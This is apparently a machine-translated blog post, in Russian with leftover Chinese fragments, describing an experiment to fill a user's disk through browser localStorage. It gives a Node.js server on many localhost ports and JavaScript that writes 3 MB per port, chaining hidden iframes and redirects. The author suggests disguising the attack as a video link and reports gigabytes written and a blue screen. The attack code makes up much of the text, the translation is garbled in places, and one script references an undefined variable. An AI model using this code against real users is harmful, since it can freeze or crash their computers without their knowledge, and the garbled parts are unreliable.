Некоторые люди говорят, что границы интерфейса находятся в браузере.
Независимо от того, сколько ошибок вы вызовете, это в лучшем случае приведет к сбою браузера и мало повлияет на систему.
Это как всякие крутые разрушения мира во втором измерении, которые не приведут к концу света в третьем измерении.
Однако в качестве переднего плана я обнаружил, что есть способы открыть дверь в измерения...
У этого эксперимента большая дыра в мозгу и скучная мотивация, но в некотором смысле он отражает некоторыебезопасный вопрос.
Представьте, что однажды вы сидите дома в Интернете, едите горячее и поете песни.Нажимаю на ссылку, компьютер вдруг синий экран! Думать об этом немного волнующе.
причина
История должна начаться с localStorage.
Думаю, все знакомы с локальным хранилищем html5. В настоящее время широко используется локальное хранение данных в виде бинарных файлов.
В хроме под окнами localStorage хранится вC:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage
папка. Однако, если веб-странице разрешено записывать файлы на неопределенный срок, можно представить себе повреждение жесткого диска пользователя, поэтому браузер накладывает на него ограничение по размеру.
Для доменного имени + порта верхний предел для ПК составляет от 5 до 10 млн, а для мобильной стороны — не более 2,5 млн.
Тогда вопрос становится:Достаточно ли таких ограничений для защиты жесткого диска пользователя??
Жизненноважный
Ключевой вопрос заключается в том, что это ограничение направлено на域名+端口
.
То есть вы посещаете同一个域名的不同端口
, их localStorage не связаны и хранятся отдельно.
Я просто запустил сервер с узлом, в это время доступ пользователяhttp://127.0.0.1:1000
прибытьhttp://127.0.0.1:1099
Эти 100 портов будут запрашивать одну и ту же страницу:index.html
:
var http = require('http');
var fs = require('fs');
//100个端口
for(var port = 1000; port< 1100; port++){
http.createServer(function (request, response) {
//请忽略这种循环读文件的方式,只为了简便
fs.readFile('./index.html', function(err, content){
if(err) {
} else {
response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
response.write(content);
response.end();
}
});
}).listen(port, '127.0.0.1');
}
Разумеется, в этом index.html задействована операция записи localStorage.
var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem("testData", s);
Я пытался использовать браузер для доступа к нескольким портам соответственно, результат сохраняется отдельно. Все, как сценарий.
автоматический обход
Но этого уровня недостаточно.
Если вы хотите поэкспериментировать, чтобы стать лучше (се) играть (е) немного, возникает вопрос, как让用户自动遍历这些端口
?
iframes - хорошая попытка.
как только вы откроетеhttp://127.0.0.1: 1000
, Страница создаст iframe для запросаhttp://127.0.0.1: 1001
, и цикл продолжается.
var Main = (function(){
var _key = "testData";
var _max = 1100; //最大限制
return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);
var port = parseInt(location.port)+1;
if(port > _max) return;
//新添加iframe
var url = "http://127.0.0.1:" + port;
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
})();
Конечно, мы также можем сделать iframe невидимым, чтобы скрыть это недобросовестное поведение...
Например, кто-то присылает вам ссылку, вы открываете ее, и это видео, и вы даже не замечаете, что за ним стоит сценарий, и через несколько минут после воспроизведения видео ваш диск C вот-вот заполнится.
И тут я вижу, что запросы идут потоком:
Однако, когда запрос идет на порт 1081, последний хром вылетает... Получается, что iframe слишком вложен, и он достиг предела возможностей браузера.
###Предотвращение сбоев браузера
С накопителем еще не полон, товарищи все еще нужно усердно работать. Как сделать?
Нам вдруг пришло в голову, что мы можем перенаправить до достижения предела iframe.
Для каждых 50 доступных портов используйтеwindow.location.href
Перенаправьте один раз, чтобы убедиться, что браузер не зависает.
var Main = (function(){
var _key = "testData";
var _max = 1200; //最大限制
var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转
return {
init: function(){
//慢慢来,别写太大了,好害怕…
var s = "";
for(var i=0; i< 3 * 1024 * 1024; i++){
s += "0";
}
localStorage.setItem(_key, s);
var port = parseInt(location.port)+1;
if(port > _max) return;
if(port % _jumpSpace == 0){
//每50个,重定向一次
window.location.href = url;
}else{
//新添加iframe
var $iframe = document.createElement("iframe");
$iframe.src = url;
document.getElementsByTagName("body")[0].appendChild($iframe);
}
}
}
})();
Факты доказали, что такая тяжелая работа действительно возможна.
Пока только в гостиhttp://127.0.0.1: 1000
, он запишет почти 500 МБ бесполезных данных в папку локального хранилища:
Данные внутри такие:
Продолжайте экспериментировать с черной техникой
Забудьте об этом, на моем диске C еще есть место, тогда увеличьте количество портов со 100 до 200.
Результат таков, достигнув размера 1,17G.
В последующих экспериментах я постепенно увеличивал количество портов и хранимых данных.
Компьютеры также работают все медленнее и медленнее. Почему это?
Я заметил, что иногда выполнениеlocalStorage.setItem()
После этого файлы данных могут быть не сразу видны в папке.
Сомневаюсь, что эти данные будут помещены в память сначала в CHROME, чтобы избежать повторения потребления, вызванного чтением и записью, а затем записью на жесткий диск во время простоя или закрытия.
Но в этот момент браузер уже повлиял на систему. Он находится в состоянии «не вылетает», но «препятствует нормальному использованию компьютера пользователя, так как занимает много памяти».
Даже если пользователь закроет окно браузера, в ближайшее время оно не восстановится. Имейте в виду, что задачи чтения и записи не прекращаются при закрытии окна, иначе браузер потеряет данные.
Единственное, что могут сделать люди, столкнувшиеся с черной техникой, это:
- ждать;
- Используйте диспетчер задач, чтобы закрыть процесс хрома, и снова подождите;
- Поверьте и попробуйте научное утверждение, что "перезагрузка компьютера решает 90% проблем с компьютером"
Можно сказать, что сердце браузера почти рухнуло.
наконец
В конце концов, я все же должен с серьезным лицом предупредить: без вредных намерений не обойтись.
Этот эксперимент с самого начала安全问题上交给国家的初衷
сделать это (да, это так чисто).
Впоследствии, увидев, что на диске C все еще есть место 2G, я увеличил количество портов до 2000 и попробовал, что произойдет.
Так как запросов слишком много и это займет какое-то время, я займусь чем-то другим.
Когда я вернулся, то обнаружил, что комната была тихой и спокойной, красивой, с голубым светом, как трюк.
Так вот вопрос, какой из них лучше для ремонта компьютера?
в спешке, спешу...